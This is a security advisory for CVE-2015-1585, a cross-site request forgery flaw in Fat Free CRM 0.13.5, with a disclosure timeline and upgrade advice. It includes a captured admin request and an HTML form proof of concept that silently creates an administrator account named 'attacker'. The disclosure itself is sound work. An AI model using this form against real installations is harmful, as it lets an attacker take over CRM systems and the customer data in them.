Fat Free CRM 0.13.5 Cross Site Request Forgery Vulnerability

ID 1337DAY-ID-23295
Type zdt
Reporter Sven Schleier
Modified 2015-02-16T00:00:00


Fat Free CRM version 0.13.5 suffers from a cross site request forgery vulnerability.

                                            [CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5


Product Information:

Software: Fat Free CRM 

Tested Version: 0.13.5, released 22.1.2015 with over 10.000 downloads

Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)

Download link: https://rubygems.org/gems/fat_free_crm/versions/0.13.5

Description: An open source, Ruby on Rails customer relationship management platform (CRM). Out of the box it features group collaboration, campaign and lead management, contact lists, and opportunity tracking (copied from https://github.com/fatfreecrm/fat_free_crm)


Vulnerability description:

When an authenticated administrative user of Fat Free CRM is creating another user account, the following POST request is sent to the server:

POST /admin/users HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: oxZgwOAtzNdFJU85jPqmI+g893lQaOy6ctCCzef42qI=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 356
Cookie:  _session_id=$foo1; user_credentials=$foo2
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


As can be seen, the application is already using a CSRF token in the parameter authenticity_token, that has got a sufficient entropy. Nevertheless, this parameter is optional and not mandatory when creating a user. When executing the following Proof-of-Concept, a new administrative user called "attacker" will be created with the password 1234. 

    <form action="" method="POST">
      <input type="hidden" name="utf8" value="�œ“" />
      <input type="hidden" name="user[username]" value="attacker" />
      <input type="hidden" name="user[email]" value="[email protected]" />
      <input type="hidden" name="user[password]" value="1234" />
      <input type="hidden" name="user[password_confirmation]" value="1234" />
      <input type="hidden" name="user[admin]" value="1" />
      <input type="hidden" name="commit" value="Create User" />
      <input type="submit" value="Submit request" />



Every state changing operation within Fat Free CRM is using the parameter authenticity_token in order to prevent CSRF attacks. Nevertheless, all operations can be triggered by a CSRF attack, as this parameter is always optional and not needed. 



Update to the latest version, which is   0.13.6, see https://rubygems.org/gems/fat_free_crm/versions/0.13.6

See also https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29



Vulnerability found: 11.2.2015
Vendor informed: 11.2.2015
Response by vendor: 12.2.2015
Fix by vendor 12.2.2015
Public Advisory: 14.2.2015


Best regards,

Sven Schleier

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